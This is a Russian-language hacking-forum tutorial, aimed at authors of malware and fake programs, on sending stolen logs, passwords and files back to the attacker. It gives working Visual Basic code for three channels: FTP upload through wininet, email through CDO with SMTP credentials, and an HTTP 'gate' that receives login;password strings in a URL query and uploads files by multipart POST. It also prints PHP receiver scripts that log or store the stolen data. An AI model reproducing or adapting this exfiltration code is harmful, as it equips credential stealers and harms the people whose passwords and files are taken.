Всем доброго времени суток! Зачастую при написании фейков/малвари/прочего рода программ возникает надобность отправить логи/пароли/файлы себе же, так вот данной статье я и раскрою методы отправки данных. Ничего особо нового тут конечно нет, просто хочется как то систематизировать информацию Как мы знаем, популярными способами отправки данных являются: отправка на FTP посредством электронной почты (e-mail) отправка на PHP-гейт Опишем поподробнее каждый из методов и осветим их плюсы и минусы. Отправка на FTP Самым небезопасным (я считаю) способом отправки данных является отправка на FTP. Если вдруг кто-либо выловит данные сниффером или же реверснет программу, появится риск потерять все данные, которые на этом FTP хранятся. Осуществляется следующим образом. Объявляются API (для соединения с интернетом и непосредственно для отправки файла на FTP): Код: Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal nAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal nFlags As Long) As Long Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal nService As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hFtpSession As Long, ByVal lpszLocalFile As String, ByVal lpszRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer И непосредственно код отправки данных: Код: 'Открываем интернет соединение hINetSession = InternetOpen("MyFTPClient", 0, vbNullString, vbNullString, 0) 'При помощи этого соединения подключемся к FTP-серверу, где server.ru - сервер hSession = InternetConnect(hINetSession, "server.ru", "21", "username", "password", 1, 0, 0) 'Отправляем файл C:\file.txt в папку /WWW/data/ под именем file.txt ' !!! Папки WWW и WWW/data уже должны быть созданы Call FtpPutFile(hSession, "C:\file.txt", "/WWW/data/file.txt", 1, 0) 'Закрываем оба соединения Call InternetCloseHandle(hSession) Call InternetCloseHandle(hINetSession) Отправка на E-mail Здесь можно запросто использовать SSL. Это убережет от перехвата данных сниффером, но никто не мешает третьему лицу воспользоваться отладчиком. Тем не менее: Код: 'Задаем переменные и присваиваем им созданный объект CDO.Message и конфиг Dim o_Mess As Object, v_Conf As String Set o_Mess = CreateObject("CDO.Message") v_Conf = "http://schemas.microsoft.com/cdo/configuration/" With o_Mess .To = "to@mail.ru" 'e-mail, кому придут данные .From = "from@mail.ru" 'e-mail, от кого придут данные .Subject = "Subject" 'тема сообщения .TextBody = "Message here" 'текст сообщения .AddAttachment "C:\document.doc" 'добавляем вложение (если нужно) With .Configuration.Fields .Item(v_Conf & "sendusing") = 2 .Item(v_Conf & "smtpserver") = "smtp.mail.ru" 'используем сервер .Item(v_Conf & "smtpauthenticate") = 1 .Item(v_Conf & "sendusername") = "from@mail.ru" 'логин .Item(v_Conf & "sendpassword") = "password" 'пароль .Item(v_Conf & "smtpserverport") = 465 'порт, SSL использует 465, если без - 25 .Item(v_Conf & "smtpusessl") = True 'если True, то используем SSL, False - нет .Item(v_Conf & "smtpconnectiontimeout") = 60 .Update End With .send End With Отправка на PHP-Gate Самый защищенный и безопасный способ передачи данных. Сниффером или отладчиком можно вытянуть адрес гейта, на который идут данные, но получить доступ к уже имеющимся там - врядли. Можно только что разве заабузить хост (и то если сниффер находится на бесплатном). Короткую строку (ex. login;password) можно отправить на PHP-гейт в качестве QUERY (в ссылке после знака ?) Как гейт подойдет сниффер от hacker-pro.net, можно использовать и иной другой (от kanick, например). Самый простенький: PHP: <?php $recieve = $_SERVER['QUERY_STRING']; $file = fopen("log.txt", "a+"); fwrite($file, "$recieve\r\n"); fclose($file); ?> Осуществляется следующим образом. Объявляются API для соединения с интернетом: Код: Private Declare Function InternetOpenUrl Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal sUrl As String, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer Сама отправка данных: Код: 'Задаем переменные Dim hInternet As Long, hSession As Long 'Открываем интернет соединение, клиент - MyClient hSession = InternetOpen("MyClient", 1, vbNullString, vbNullString, 0) 'Отправляем данные login;password на гейт hInternet = InternetOpenUrl(hSession, "https://xaker.name/gate/gate_txt.php?login;password", vbNullString, 0, &H4000000, 0) 'Закрываем соединение Call InternetCloseHandle(hInternet) Иначе обстоит дело с отправкой файла на гейт. Для этого я использовал тягу от DaSharm. Контрол на форме назван как socket. Итак, код отправки я взял здесь и портировал его на VB. Получилось примерно следующее: Код: 'Объявляем API Private Declare Sub Sleep Lib "kernel32.dll" (ByVal dwMilliseconds As Long) 'Функция для генерации boundary - случайной строки Private Function RandomAlphaNumString(ByVal intLen As Integer) Dim StrReturn As String, X As Integer, c As Byte Randomize For I = 1 To intLen c = Int(Rnd() * 127) If (c >= Asc("0") And c <= Asc("9")) Or _ (c >= Asc("A") And c <= Asc("Z")) Or _ (c >= Asc("a") And c <= Asc("z")) Then StrReturn = StrReturn & Chr(c) Else I = I - 1 End If Next I RandomAlphaNumString = StrReturn End Function 'Функция для считывания файла Private Function GetFileContents(ByVal strPath As String) As String Dim nFile As Integer, baData() As Byte, sPostData As String nFile = FreeFile Open strPath For Binary Access Read As nFile If LOF(nFile) > 0 Then ReDim baData(0 To LOF(nFile) - 1) As Byte Get nFile, , baData GetFileContents = StrConv(baData, vbUnicode) End If Close nFile End Function Private Function SendFile2Gate(strHost As String, strScript As String, strFileName As String) 'Задаем переменные Dim boundary As String, fSize As Long, buf As String Dim SubHeader1 As String, SubHeader2 As String, HttpHeader As String Dim selStart As Long, strDataFile As String strDataFile = GetFileContents(strFileName) 'считываем данные с файла fSize = Len(strDataFile) 'определяем их размер socket.Connect strHost, 80 'оподключаемся к серверу boundary = RandomAlphaNumString(32) 'генерируем boundary длиной 32 'составляем заголовки SubHeader1 = "--" & boundary & vbCrLf & _ "Content-Disposition: form-data; name=" & Chr(34) & "myfile" & Chr(34) & "; filename=" & Chr(34) & strFileName & Chr(34) & vbCrLf & _ "Content-Type: application/octet-stream" & vbCrLf & vbCrLf SubHeader2 = vbCrLf & "--" & boundary & "--" & vcbrlf HttpHeader = "POST " & strScript & " HTTP/1.1" & vbCrLf & _ "Host: " & strHost & vbCrLf & _ "Connection: close" & vbCrLf & _ "Content-Type: multipart/form-data; boundary=" & boundary & vbCrLf & _ "Content-Length: " & Str(fSize + Len(SubHeader1) + Len(SubHeader2)) & vbCrLf & vbCrLf & SubHeader1 Call Sleep(1000) socket.SendData HttpHeader Call Sleep(1000) ' цикл, в котором из считанных данных их файла выделяется по 4096 байт и отправляется пакетами selStart = 1 Do buf = Mid(strDataFile, selStart, 4096) socket.SendData buf Call Sleep(300) 'время задержки в миллисекундах между отправкой пакетов selStart = selStart + 4096 Loop Until Len(buf) < 4096 socket.SendData SubHeader2 'отправка последнего заголовка socket.CloseConnection ' закрываем соединение End Function Вызывается функция отправки файла на PHP-гейт следующим образом: Код: Call SendFile2Gate("xaker.name", "/gate/gate.php", "C:\Windows\notepad.exe") И сам PHP-гейт выглядит вот так: PHP: <? $myfile = $_FILES['myfile']['tmp_name']; $name = basename($_FILES['myfile']['name']); if (!file_exists($myfile)) { echo "error"; } else { move_uploaded_file($myfile, $name); echo "ok"; } ?> Пожалуй все) Готовые исходники можно скачать из вложений. (c) chimatii, xaker.name & grabberz.com